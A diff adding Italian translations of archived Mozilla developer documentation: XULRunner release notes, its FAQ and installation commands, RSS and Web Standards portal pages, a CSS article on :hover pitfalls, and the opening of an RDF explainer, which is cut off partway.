+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Versioni">Versioni</h4> <div class="note"> <p>XULRunner 1.8.0.4 è una <em>developer preview</em> stabile, basata sullo stesso codice di base di Firefox 1.5.0.4. E' disponibile per <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/win32/en-US/xulrunner-1.8.0.4.en-US.win32.zip">Windows</a>, <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/mac/en-US/xulrunner-1.8.0.4.en-US.mac.dmg">Mac OS X</a> e <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/linux-i686/en-US/xulrunner-1.8.0.4.en-US.linux-i686.tar.gz">Linux</a>, in inglese. Si vedano le <a href="/it/Note_di_rilascio_di_XULRunner_1.8.0.4" title="it/Note_di_rilascio_di_XULRunner_1.8.0.4">note di rilascio</a> per ulteriori dettagli sull'installazione, la disinstallazione e altro.</p> </div> <h4 id="Panoramica">Panoramica</h4> <ul> <li>{{ interwiki('wikimo', 'XULRunner:Roadmap', 'Development Roadmap') }} (EN)</li> <li><a href="/it/XULRunner/A_cosa_serve_XULRunner" title="it/XULRunner/A_cosa_serve_XULRunner">A cosa serve XULRunner</a></li> <li><a href="/it/XULRunner_FAQ" title="it/XULRunner_FAQ">XULRunner FAQ</a></li> <li>Nightly builds: <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-mozilla1.8.0/">stable-1.8.0branch</a> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">unstable-trunk</a></li> </ul> <h4 id="Documentazione">Documentazione</h4> <dl> <dt><a href="/it/Applicazioni_di_esempio" title="it/Applicazioni_di_esempio">Applicazioni di esempio</a></dt> <dd>Semplici applicazioni che è possibile copiare.</dd> </dl> <dl> <dt><a class="external" href="http://blogs.acceleration.net/ryan/archive/2005/05/06/1073.aspx">A XULRunner Tutorial</a> (EN)</dt> <dd><small>Una breve introduzione a XULRunner.</small></dd> </dl> <dl> <dt><a href="/it/XULRunner/Rilasciare_applicazioni_con_XULRunner_1.8" title="it/XULRunner/Rilasciare_applicazioni_con_XULRunner_1.8">Rilasciare applicazioni con XULRunner 1.8</a></dt> <dd><small>Spiega come utilizzare XULRunner 1.8 per sviluppare e rilasciare applicazioni XUL standalone in ambiente di produzione.</small></dd> </dl> <dl> <dt><a href="/it/Applicazioni_basate_su_XULRunner" title="it/Applicazioni_basate_su_XULRunner">Applicazioni basate su XULRunner</a></dt> <dd><small>Tutte le applicazioni disponibili basate su XULRunner.</small></dd> </dl> </td> <td> <h4 id="Argomenti_correlati">Argomenti correlati</h4> <ul> <li><a href="/it/XUL" title="it/XUL">XUL</a></li> <li><a href="/it/XPCOM" title="it/XPCOM">XPCOM</a></li> </ul> </td> </tr> </tbody>
+</table>
+<p> </p>
+<p>{{ languages( { "ca": "ca/XULRunner", "en": "en/XULRunner", "es": "es/XULRunner", "fr": "fr/XULRunner", "zh-cn": "cn/XULRunner", "ja": "ja/XULRunner", "pl": "pl/XULRunner" } ) }}</p>
diff --git a/files/it/archive/mozilla/xulrunner/note_di_rilascio_di_xulrunner_1.8.0.4/index.html b/files/it/archive/mozilla/xulrunner/note_di_rilascio_di_xulrunner_1.8.0.4/index.html
new file mode 100644
index 0000000000..f2557a0040
--- /dev/null
+++ b/files/it/archive/mozilla/xulrunner/note_di_rilascio_di_xulrunner_1.8.0.4/index.html
@@ -0,0 +1,82 @@
+---
+title: Note di rilascio di XULRunner 1.8.0.4
+slug: Archive/Mozilla/XULRunner/Note_di_rilascio_di_XULRunner_1.8.0.4
+translation_of: Archive/Mozilla/XULRunner/1.8.0.4
+---
+<p>XULRunner 1.8.0.4 è una <i>versione di anteprima stabile</i> del framework Mozilla <a href="it/XULRunner">XULRunner</a>. Essa rimpiazza la versione 1.8.0.1; tutti gli utenti dovrebbero aggiornarla. La nuova versione fornisce gli strumenti per lanciare applicazioni XUL standalone ed incorporare le API che possono essere utilizzate per visualizzare le pagine web in applicazioni nativa o in applicazioni Java.
+</p>
+<h3 id="Requisiti_di_sistema" name="Requisiti_di_sistema"> Requisiti di sistema </h3>
+<p>Prima dell'installazione, assicurarsi che il computer risponda ai <a class="external" href="http://www.mozilla.com/firefox/system-requirements.html">requisiti di sistema</a>. I requisiti minimi sono identici a quelli di Firefox.
+</p>
+<h3 id="Installare_XULRunner" name="Installare_XULRunner"> Installare XULRunner </h3>
+<p>Mozilla fornisce XULRunner per Windows, Mac OS X e Linux, al momento solo in inglese:
+</p>
+<ul><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/win32/en-US/xulrunner-1.8.0.4.en-US.win32.zip">Scarica XULRunner per Windows</a>
+</li><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/mac/en-US/xulrunner-1.8.0.4.en-US.mac.dmg">Scarica XULRunner per Mac OS X</a>
+</li><li> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/linux-i686/en-US/xulrunner-1.8.0.4.en-US.linux-i686.tar.gz">Scarica XULRunner per Linux</a>
+</li></ul>
+<h4 id="Windows" name="Windows"> Windows </h4>
+<ul><li> Decomprimere il file ZIP in una nuova directory utilizzando un programma di compressione (Mozilla consiglia <a class="external" href="http://www.7zip.org/">7zip</a>). Si consiglia di utilizzare la seguente directory: &lt;tt&gt;C:\Program Files\Mozilla XULRunner\1.8.0.4&lt;/tt&gt;
+</li><li> Per registrare XULRunner nel sistema, aprire il prompt dei comandi ed eseguire il comando &lt;tt&gt;xulrunner.exe --register-global&lt;/tt&gt; (per registrarlo per tutti gli utenti), oppure il comando &lt;tt&gt;xulrunner.exe --register-user&lt;/tt&gt; (per registrarlo solo per l'utente corrente)
+</li></ul>
+<h4 id="Mac_OS_X" name="Mac_OS_X"> Mac OS X </h4>
+<ul><li> Aprire il file .pkg e seguire le istruzioni del programma di installazione
+</li></ul>
+<h4 id="Linux" name="Linux"> Linux </h4>
+<ul><li> Decomprimere il tarball in nuova nuova directory con il comando &lt;tt&gt;tar -xzf xulrunner-1.8.0.4.en-US.linux-i686.tar.gz&lt;/tt&gt;. Si consiglia la seguente directory: &lt;tt&gt;/opt/xulrunner/1.8.0.4&lt;/tt&gt;
+</li><li> Registrare XULRunner nel sistema con il comando &lt;tt&gt;xulrunner --register-global&lt;/tt&gt; (per instrallarlo per tutti gli utenti, ma occorrono i privilegi di root), oppure &lt;tt&gt;xulrunner --register-user&lt;/tt&gt; (per installarlo solo per l'utente corrente)
+</li></ul>
+<p><br>
+</p>
+<h3 id="Disinstallare_XULRunner" name="Disinstallare_XULRunner"> Disinstallare XULRunner </h3>
+<h4 id="Windows.2FLinux" name="Windows.2FLinux"> Windows/Linux </h4>
+<ul><li> Dal prompt di MS-DOS o dalla shell di Linux, eseguire &lt;tt&gt;xulrunner --unregister-global&lt;/tt&gt; oppure &lt;tt&gt;xulrunner --unregister-user&lt;/tt&gt; (a seconda di quale comando si è utilizzato per installarlo)
+</li><li> Rimuovere la directory di XULRunner
+</li></ul>
+<h4 id="Mac_OS_X_2" name="Mac_OS_X_2"> Mac OS X </h4>
+<p>Se si hanno più versioni di XULRunner installate sul sistema, non è possibile disinstallarne soltanto una.
+</p>
+<ul><li> Per rimuovere <b>tutte</b> le versioni di XULRunner installate, rimuovere la directory &lt;tt&gt;/Library/Frameworks/XUL.framework&lt;/tt&gt;
+</li></ul>
+<h3 id="Installare_applicazioni_XUL" name="Installare_applicazioni_XUL"> Installare applicazioni XUL </h3>
+<p>Le applicazioni XUL si possono ottenere da diverse fonti e sono tipicamente compresse in un archizio ZIP con l'estensione &lt;tt&gt;.xulapp&lt;/tt&gt; o &lt;tt&gt;.xpi&lt;/tt&gt;.
+</p>
+<ul><li> Salvare l'archivio sul desktop o in qualche altra directory comoda
+</li></ul>
+<h4 id="Windows_2" name="Windows_2"> Windows </h4>
+<p>Eseguire il seguente comando da Avvio -&gt; Esegui o dal prompt dei comandi:
+"C:\Program Files\Mozilla XULRunner\1.8.0.4\xulrunner\xulrunner.exe" --install-app "C:\Documents and Settings\<var>UTENTE</var>\Desktop\<var>NOME_APPLICAZIONE</var>.xpi"
+</p><p>L'applicazione verrà installata in &lt;tt&gt;C:\Program Files\<var>NOME_VENDITORE</var>\<var>NOME_APPLICAZIONE</var>&lt;/tt&gt;
+</p>
+<h4 id="Mac_OS_X_3" name="Mac_OS_X_3"> Mac OS X </h4>
+<p>Eseguire il seguente comando dal Terminale:
+</p>
+<pre class="eval">/Library/Frameworks/XUL.framework/xulrunner-bin --install-app ~/Desktop/<var>NOME_APPLICAZIONE</var>.xpi
+</pre>
+<p>L'applicazione verrà installata in &lt;tt&gt;/Applications/<var>NOME_VENDITORE</var>/<var>NOME_APPLICAZIONE</var>&lt;/tt&gt;
+</p>
+<h4 id="Linux_2" name="Linux_2"> Linux </h4>
+<p>Eseguire il seguente comando dalla shell:
+</p>
+<pre class="eval">/opt/xulrunner/1.8.0.4/xulrunner/xulrunner --install-app ~/Desktop/<var>NOME_APPLICAZIONE</var>.xpi
+</pre>
+<p>L'applicazione verrà installata in &lt;tt&gt;/usr/lib/<var>NOME_VENDITORE</var>/<var>NOME_APPLICAZIONE</var>&lt;/tt&gt;
+</p>
+<h3 id="Problemi_conosciuti" name="Problemi_conosciuti"> Problemi conosciuti </h3>
+<ul><li> I firewall potrebbero identificare tutte le applicazioni XUL come un'unica applicazione
+</li><li> Su Microsoft Windows XP, tutte le applicazioni XUL potrebbero essere raggruppate insieme nella barra delle applicazioni
+</li></ul>
+<h3 id="Frequently_Asked_Questions" name="Frequently_Asked_Questions"> Frequently Asked Questions </h3>
+<p></p><dl>
+<dt>Perchè installare XULRunner è così complicato? Perchè non c'è un facile programma di installazione?
+</dt><dd>Perchè nessuno lo ha ancora creato! Questa versione è un'anteprima per sviluppatori: ulteriori funzionalità per l'installazione e il rilascio di XULRunner e delle applicazioni basate su di esso saranno disponibili in versioni future.
+<p></p></dd><dt>Sto scrivendo un'applicazione XUL, come posso rilasciarla?
+</dt><dd>Per ora Mozilla consiglia che XULRunner venga rilasciato privatamente insieme ad ogni applicazione. Si veda <a href="it/XULRunner/Rilasciare_applicazioni_con_XULRunner_1.8">Rilasciare applicazioni con XULRunner 1.8</a> per ulteriori informazioni.
+<p></p></dd><dt>Dove sono i sorgenti?
+</dt><dd><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/source/xulrunner-1.8.0.4-source.tar.bz2">Qui.</a>
+<p></p></dd><dt>Credo di aver trovato un bug, come posso segnalarlo?
+</dt><dd><a class="link-https" href="https://bugzilla.mozilla.org/">bugzilla.mozilla.org</a> viene utilizzato per tenere traccia dei bug di tutti i prodotti Mozilla. Per favore, prima di segnalare un nuovo bug controlla se è già stato segnalato da qualcun altro.
+<p></p></dd><dt>Come posso aiutarvi?
+</dt><dd>Se vuoi aiutare gli sviluppatori di XULRunner ma non sai da dove iniziare, visita la pagina della <a href="it/XULRunner/Community">XULRunner:Community</a> e poni domande sui newsgroup o sul canale IRC.
+<p></p></dd></dl>
+{{ languages( { "en": "en/XULRunner_1.8.0.4_Release_Notes", "fr": "fr/Notes_de_versions_de_XULRunner_1.8.0.4", "ja": "ja/XULRunner_1.8.0.4_Release_Notes" } ) }}
diff --git a/files/it/archive/mozilla/xulrunner/xulrunner_faq/index.html b/files/it/archive/mozilla/xulrunner/xulrunner_faq/index.html
new file mode 100644
index 0000000000..6602428faa
--- /dev/null
+++ b/files/it/archive/mozilla/xulrunner/xulrunner_faq/index.html
@@ -0,0 +1,24 @@
+---
+title: XULRunner FAQ
+slug: Archive/Mozilla/XULRunner/XULRunner_FAQ
+tags:
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner/FAQ
+---
+<p>
+</p><p>Questa pagina ha lo scopo di rispondere alle domande più frequenti e correggere gli errori più comuni riguardo a <a href="it/XULRunner">XULRunner</a>.
+</p><p></p><dl>
+<dt>XULRunner è un browser?
+</dt><dd>No. Si può utilizzare XULRunner per creare un browser (come <a href="http://benjamin.smedbergs.us/xulrunner/" class="external">mybrowser example</a> o Firefox), ma non esiste "il browser XULRunner".
+<p></p></dd><dt>XULRunner è uno strumento di sviluppo?
+</dt><dd>Non esattamente; XULRunner è una tecnologia internet runtime. Può essere utilizzato per creare strumenti di sviluppo (l'<a href="http://www.alphaworks.ibm.com/tech/ajaxtk" class="external">AJAX Toolkit Framework</a>, per esempio). In futuro ci sarà un XULRunner Developer Kit che conterrà vari strumenti di sviluppo.
+<p></p></dd><dt>XULRunner assomiglia a linguaggi di programmazione come Java o .NET (o Python o...)?
+</dt><dd>L'obiettivo di XULRunner è facilitare lo sviluppo e il rilascio di applicazioni internet. Non è concepito per essere un ambiente runtime completo; per questo XULRunner richiede poca memoria e una più semplice strategia di rilascio rispetto a un runtime completo.
+<p></p></dd><dt>Se utilizzo XULRunner devo scrivere le mie applicazioni in XUL?
+</dt><dd>No! Puoi scrivere le tue applicazioni in un qualunque linguaggio supportato dalla piattaforma web Mozilla, compresi HTML, XHTML, SVG, o XUL.
+<p></p></dd><dt>Ma allora perchè si chiama XULRunner, invece di HTMLRunner o qualche altro nome simile?
+</dt><dd>Il nome non è definitivo. E' possibile proporre nomi alternativi a Benjamin Smedberg.
+<p></p></dd><dt>Quando Firefox si baserà su XULRunner?
+</dt><dd>Si veda la <a href="http://wiki.mozilla.org/XULRunner:Roadmap" class="external">XULRunner roadmap</a>. Attualmente è previsto per Firefox 3 (XULRunner 1.9), verso la fine del 2007.
+<p></p></dd></dl>
+{{ languages( { "en": "en/XULRunner_FAQ", "fr": "fr/FAQ_de_XULRunner", "ja": "ja/XULRunner_FAQ" } ) }}
diff --git a/files/it/archive/rss/index.html b/files/it/archive/rss/index.html
new file mode 100644
index 0000000000..bd80105f0c
--- /dev/null
+++ b/files/it/archive/rss/index.html
@@ -0,0 +1,35 @@
+---
+title: RSS
+slug: Archive/RSS
+tags:
+  - RSS
+  - Tutte_le_categorie
+translation_of: Archive/RSS
+---
+<p>
+</p>
+<div class="callout-box"><b><a href="it/RSS/Iniziare">RSS:Iniziare</a></b><br>
+Una guida RSS per i principianti.</div>
+<p><b>Really Simple Syndication (RSS)</b> è un formato dati molto popolare, simile ad <a href="it/HTML">HTML</a> e basato su <a href="it/XML">XML</a> per riassumere le news di un sito. Questo formato ha una storia confusa ed esiste una moltitudine di <a href="it/Versioni_RSS">Versioni RSS</a> incompatibili tra loro. Alcune di esse sono basate su <a href="it/RDF">RDF</a>, mentre altre (la maggior parte) sono basate su XML. Indipendentemente da ciò, RSS è molto usato per segnalare su un sito le news di un altro sito, i post su un blog, IPradio e IPTV.
+</p>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione"> <a href="it/Documentazione">Documentazione</a> </h4>
+<dl><dt> <a href="it/Perch%c3%a8_RSS_Slash_%c3%a8_popolare_-_contare_i_commenti">Perchè RSS Slash è popolare - contare i commenti</a>
+</dt><dd> <small>Charles Iliya Krempeaux ha scritto questo articolo sul modulo RSS Slash, sul perchè è così diffuso e come utilizzarlo per avere un conteggio dei commenti.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://diveintomark.org/archives/2004/02/04/incompatible-rss">The Myth of RSS Compatibility</a> (EN)
+</dt><dd> <small>Mark Pilgrim racconta la storia di RSS e alcuni dettagli delle incompatibilità tra le diverse versioni.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.tbray.org/ongoing/When/200x/2005/07/27/Atomic-RSS">Atomic RSS</a> (EN)
+</dt><dd> <small>Tim Bray spiega come utilizzare Atom 1.0 come microformato e il modulo per RSS 2.0.</small>
+</dd></dl>
+</td>
+<td>
+<h4 id="Argomenti_correlati"> Argomenti correlati </h4>
+<ul><li> <a href="it/RDF">RDF</a>
+</li><li> <a href="it/XML">XML</a>
+</li></ul>
+</td></tr></tbody></table>
+<p><span>Interwiki Language Links</span>
+</p>{{ languages( { "en": "en/RSS", "fr": "fr/RSS", "ja": "ja/RSS", "pl": "pl/RSS", "pt": "pt/RSS" } ) }}
diff --git a/files/it/archive/rss/iniziare/index.html b/files/it/archive/rss/iniziare/index.html
new file mode 100644
index 0000000000..b6b7419afd
--- /dev/null
+++ b/files/it/archive/rss/iniziare/index.html
@@ -0,0 +1,6 @@
+---
+title: Iniziare
+slug: Archive/RSS/Iniziare
+translation_of: Archive/RSS/Getting_Started
+---
+<p>(empty)</p>
diff --git a/files/it/archive/standard_web/index.html b/files/it/archive/standard_web/index.html
new file mode 100644
index 0000000000..485e14ddca
--- /dev/null
+++ b/files/it/archive/standard_web/index.html
@@ -0,0 +1,75 @@
+---
+title: Standard Web
+slug: Archive/Standard_Web
+tags:
+  - Standard_Web
+  - Tutte_le_categorie
+translation_of: Archive/Web_Standards
+---
+<p> </p>
+<div>
+ <b>Gli standard del Web</b> sono stati progettati per trarre i benefici piu grandi dal enorme numero di utenti, assicurando la visibilità a lungo termine di qualsiasi documento publicato sul Web.Seguendo questi standard la progettazione e la realizzazione del Web sono semplificate e i costi di produzione sono minimizzati, permettendo la distribuzione di siti che sono acessibili dalla maggior parte di persone e di dispositivi Internet.I siti sviluppati seguendo questa traccia continueranno a funzionare correttamente nonostante l'evoluzione dell'interfaccia del broswer o il lancio di nuovi dispositivi internet nel mercato.</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentazione" name="Documentazione"><a>Documentazione</a></h4>
+    <dl>
+     <dt>
+      <a href="it/Importare_applicazioni_da_Internet_Explorer_a_Mozilla">Importare applicazioni da Internet Explorer a Mozilla</a></dt>
+     <dd>
+      <small>Hai mai avuto qualche problema provando a far lavorare le applicazioni specifiche per Internet Explorer con Mozilla? Questo articolo copre le problematiche comuni associate all'importazione di applicazioni al broswer open source basato su Mozilla.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/Usare_gli_standard_Web_nelle_tue_pagine_Web">Usare gli standard Web nelle tue pagine Web</a></dt>
+     <dd>
+      <small>Questo articolo mostra una panoramica sul processo di aggiornamento sui contenuti delle tue paggine Web in accordo con gli standard W3C.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/Scegliere_gli_standard_in_accordo_alle_pratiche_proprietarie">Scegliere gli standard in accordo alle pratiche proprietarie</a></dt>
+     <dd>
+      <small>Nel mondo dello sviluppo, gli standard sono necessari perchè le applicazioni sono disegnate da diversi gruppi di sviluppatori.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/I_vantaggi_degli_standard_Web_nel_business">I vantaggi degli standard Web nel business</a></dt>
+     <dd>
+      <small>Questo articolo discute come su come aderire agli standard Web, lasciandosi alle spalle tecnologie e markup proprietari, e contriubuendo al raggiungimento degli obiettivi dell'azienda.</small></dd>
+    </dl>
+    <p><span class="alllinks"><a>Vedi tutti...</a></span></p>
+   </td>
+   <td>
+    <h4 id="Communit.C3.A0" name="Communit.C3.A0">Communità</h4>
+    <ul>
+     <li>Vedi forum Mozilla...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-web-development", "mozilla.dev.web-development") }}</p>
+    <ul>
+     <li><a class="external" href="http://webstandards.org/">The Web Standards Project</a></li>
+     <li><a class="external" href="http://webdevfeedhouse.com/">WebDev FeedHouse</a></li>
+     <li><a href="it/Web_Standards/Community">Links ad altre comunità...</a></li>
+    </ul>
+    <h4 id="Tools" name="Tools">Tools</h4>
+    <ul>
+     <li><a class="link-https" href="https://addons.mozilla.org/firefox/60/">Web Developer extension</a></li>
+     <li><a class="external" href="http://validator.w3.org/">Markup validation service (W3C)</a></li>
+     <li><a class="external" href="http://jigsaw.w3.org/css-validator/">CSS validation service (W3C)</a></li>
+    </ul>
+    <p><span class="alllinks"><a>View All...</a></span></p>
+    <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
+    <dl>
+     <dd>
+      <a href="it/CSS">CSS</a>, <a href="it/DHTML">DHTML</a>, <a href="it/HTML">HTML</a>, <a href="it/Sviluppo_Web">Sviluppo Web</a>, <a href="it/XHTML">XHTML</a>, <a href="it/XML">XML</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<hr>
+<p><small>{{ Note(1) }} - <a class="external" href="http://webstandards.org/">The Web Standards Project</a></small></p>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "ca": "ca/Est\u00e0ndards_web", "de": "de/Web-Standards", "es": "es/Est\u00e1ndares_Web", "fr": "fr/Standards_du_Web", "ja": "ja/Web_Standards", "ko": "ko/Web_Standards", "pl": "pl/Standardy_WWW", "pt": "pt/Normas_Web" } ) }}</p>
diff --git a/files/it/archive/standard_web/issues_arising_from_arbitrary-element_hover/index.html b/files/it/archive/standard_web/issues_arising_from_arbitrary-element_hover/index.html
new file mode 100644
index 0000000000..bdabe77777
--- /dev/null
+++ b/files/it/archive/standard_web/issues_arising_from_arbitrary-element_hover/index.html
@@ -0,0 +1,104 @@
+---
+title: Problemi Derivanti Dall Hover Su Elementi Arbitrari
+slug: Archive/Standard_Web/Issues_Arising_From_Arbitrary-Element_hover
+tags:
+  - CSS
+  - Tutte_le_categorie
+translation_of: Archive/Web_Standards/Issues_Arising_From_Arbitrary-Element_hover
+---
+<p> </p>
+
+<p><span class="comment">Summary: Thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some Web sites. This technote explains the source of the problems and how to avoid encountering them.</span></p>
+
+<p>Molti sviluppatori fanno uso della pseudo-classe CSS2 <code>:hover</code> per applicare uno stile ai collegamenti. Questa innovazione, introdotta per la prima volta da Microsoft® Internet Explorer e poi introdotta nelle specifiche CSS, è molto utilizzata per modificare i collegamenti testuali, in particolare quelli che sono si vuole far apparire e agire come "rollover" in JavaScript. Tuttavia, il progredire del supporto ai CSS da parte dei browser, ha portato in qualche caso ad un utilizzo spregiudicato di questa funzionalità.</p>
+
+<h3 id="Hover_ed_elementi_che_non_sono_collegamenti" name="Hover_ed_elementi_che_non_sono_collegamenti">Hover ed elementi che non sono collegamenti</h3>
+
+<p>La <a class="external" href="http://www.w3.org/TR/CSS2/selector.html#x36">Sezione 5.11.3 dei CSS2</a> definisce tre pseudo-classi dinamiche (<code>:hover</code>, <code>:active</code>, e <code>:focus</code>) e dice:</p>
+
+<blockquote>La specifica non definisce quali elementi possano essere nei suddetti stati, o come si entra e si esce da tali stati. Uno scipt può modificare se certi elementi reagiscono o meno agli eventi geenrati dall'utente, e su dispositivi differenti ci possono essere differenti metodi di puntamento e attivazione.</blockquote>
+
+<p>Quindi, benchè gli sviluppatori siano abituati a pensare che questi stati si applicano esclusivamente ai collegamenti, in realtà non ci sono tali limitazioni nei CSS2. Ogni elemento, in teoria, potrebbe assumere uno dei tre stati sopra elencati, e quindi assumere lo stile ad essi associato.</p>
+
+<p> </p>
+
+<h3 id="Pseudo-classi_generiche" name="Pseudo-classi_generiche">Pseudo-classi generiche</h3>
+
+<p>La seconda parte del problema si manifesta quando si considera l'effetto della pseudo-classe generica nel selettore. Per esempio:</p>
+
+<pre>:hover {color: red;}</pre>
+
+<p>Questo è equivalente alla regola CSS2:</p>
+
+<pre>*:hover {color: red;}</pre>
+
+<p>..che si traduce in "ogni elemento su cui si passa deve assumere il colore rosso". Quindi, passando sopra paragrafi, tabelle, intestazioni e ogni altro elemento in un documento, dovrebbe far diventare il testo rosso.</p>
+
+<p>Una comune variante è utilizzare insieme una classe generica e la pseudo-classe hover, come in questo caso:</p>
+
+<pre>.nav:hover {color: red;}</pre>
+
+<p>Nei casi in cui la classe <code>nav</code> viene applicata solo a collegamenti, non si verificano problemi. Ma nei casi comuni in cui è associata anche ad altri marcatori, come in questo caso:</p>
+
+<pre>&lt;td class="nav"&gt;
+&lt;a href="one.html" class="nav"&gt;one&lt;/a&gt; |
+&lt;a href="two.html" class="nav"&gt;two&lt;/a&gt; |
+&lt;a href="thr.html" class="nav"&gt;three&lt;/a&gt; |
+&lt;a href="fou.html" class="nav"&gt;four&lt;/a&gt;
+&lt;/td&gt;</pre>
+
+<p>Poichè si applica la classe <code>nav</code> anche alla cella della tabella, anche i caratteri esterni ai collegamenti (|) diventeranno rossi quando l'utente passerà con il puntatore del mouse sopra un qualsiasi punto della tabella, oltre che quando passerà sopra i collegamenti.</p>
+
+<h3 id="Il_comportamento_di_Gecko" name="Il_comportamento_di_Gecko">Il comportamento di Gecko</h3>
+
+<p>In browser basati su Netscape Gecko build 20020410 o successivi (Netscape 6.1+), gli stili associati a <code>:hover</code> possono essere applicati a qualsiasi elemento del documento. Quindi gli sviluppatori che utilizzano pseudo-classi generiche, o combinazioni simili, sono a rischio di vedere questi stili applicati ad altri elementi oltre che ai collegamenti. Il metodo più corretto di correggere questo problema è aggiungere il giusto marcatore come selettore dello stile, come in questo esempio:</p>
+
+<pre>a:hover {color: red;}
+a.nav:hover {color: red;}</pre>
+
+<p>In un tentativo di evitare l'insorgere di problemi con vecchie pagine, i browser basati su Mozilla 1.0 e successivi (Netscape 7+) includono un accorgimento che restringe l'applicazione di pseudo-classi generiche solo ai collegamenti, nel caso in cui il documento venga interpretato nel modo "quirks". Nei browser basati sul motore di Mozilla 1.3b e successivi, questa modalità viene estesa a comprendere selettori che combinano classi generiche con la pseudo-classe <code>:hover</code> (si veda {{ Bug(169078) }} per dettagli).</p>
+
+<h3 id="Problemi_dei_collegamenti_con_attributo_Name" name="Problemi_dei_collegamenti_con_attributo_Name">Problemi dei collegamenti con attributo Name</h3>
+
+<p>In aggiunti agli effetti sopra descritti, ci sono due altri effetti relativamente comuni, che gli sviluppatori possono non aspettarsi. Uno può essere facilmente corretto con la validazione, ma il secondo è un po' più sottile.</p>
+
+<p>Prima di tutto, c'è il problema degli sviluppatori che utilizzano collegamenti con attributo Name, senza marcatore di chiusura. Per esempio:</p>
+
+<pre>&lt;a name="pagetop"&gt;
+&lt;h2&gt;My Page&lt;/h2&gt;</pre>
+
+<p>Senza un <code>&lt;/a&gt;</code>, tutto quanto viene dopo viene formalmente considerato come facente parte del collegamento. E questo generalmente significa che tutto il resto del documento assume lo stile associato a hover. Si consideri l'effetto generato da questo stile:</p>
+
+<pre>a:hover {color: red;}</pre>
+
+<p>In un documento con un collegamento con attributo Name e che non viene correttamente chiuso, tutto il testo che segue l'apertura del collegamento, assumerà il colore rosso (sempre che un'altra regola del CSS non intervenga).</p>
+
+<p>Questo ci porta al secondo problema, che consiste nel fatto che collegamenti con attributo Name possono avere stile hover. Benchè gli sviluppatori vogliano che il selettore <code>a:hover</code> sia associato solo ai veri collegamenti, esso sarà associato anche a quelli con attributo Name, dato che il selettore dichiara semplicemente che qualsiasi elemento <code>a</code> può passare nello stato hover. Per evitare questo problema, gli sviluppatori possono utilizzare una sintassi con pseudo-classi multiple descritta nei CSS2:</p>
+
+<pre>a:link:hover {color: red;}
+a:visited:hover {color: maroon;}</pre>
+
+<p>Si noti che, con questa sintassi, è possibile associare stili diversi a collegamenti visitati e non visitati, quando ci si passa sopra con il puntatore del mouse. Questo non era possibile con il solo <code>a:hover</code>. Ovviamente questo significa che il selettore <code>a:link:hover</code> si applica solamente ai collegamenti non visitati, per cui gli sviluppatori che vogliono applicare lo stesso stile sia a collegamenti visitati e non visitati, devono raggruppare i due selettori in una regola singola.</p>
+
+<h3 id="Raccomandazioni" name="Raccomandazioni">Raccomandazioni</h3>
+
+<p>Per evitare problemi inattesi, gli sviluppatori sono <strong>fortemente</strong> incoraggiati ad associare nomi agli elementi che usano pseudo-classi dinamiche per i collegamenti. Inoltre, le pseudo-classi multiple evitano che gli stili hover siano applicati a collegamenti non reali. Quindi, usare sempre <code>a:hover</code> invece di <code>:hover</code>, e <code>a:link:hover</code> (e <code>a:visited:hover</code>) sono preferiti al più semplice a:hover.</p>
+
+<h3 id="Collegamenti" name="Collegamenti">Collegamenti</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/selector.html#x36">The dynamic pseudo-classes: :hover, :active, and :focus</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Eric A. Meyer, Netscape Communications</li>
+ <li>Last Updated Date: Published 07 Mar 2003; Revised 21 Mar 2003</li>
+ <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/it/archive/standard_web/rdf_in_fifty_words_or_less/index.html b/files/it/archive/standard_web/rdf_in_fifty_words_or_less/index.html
new file mode 100644
index 0000000000..5940fa2cb1
--- /dev/null
+++ b/files/it/archive/standard_web/rdf_in_fifty_words_or_less/index.html
@@ -0,0 +1,76 @@
+---
+title: RDF in cinquanta parole o meno
+slug: Archive/Standard_Web/RDF_in_Fifty_Words_or_Less
+tags:
+  - RDF
+  - Tutte_le_categorie
+translation_of: Archive/Web_Standards/RDF_in_Fifty_Words_or_Less
+---
+<p>
+</p><p>Okay, probabilmente saranno un pò più di cinquanta parole, ma i punti chiave sono abbastanza semplici (e segnati in <b>grassetto</b> per colo i quali vogliono andare dritti al punto). Con <a href="it/RDF"><i>Resource Description Framework</i></a> (framework di descrizione risorse) o "RDF", intendiamo due cose.
+</p>
+<blockquote>
+<b>Primo, RDF è un modello basato su grafi per la descrizione di <i>risorse</i> Internet (come pagine web e messaggi email), e di come tali risorse sono correlate l'un l'altra.</b>
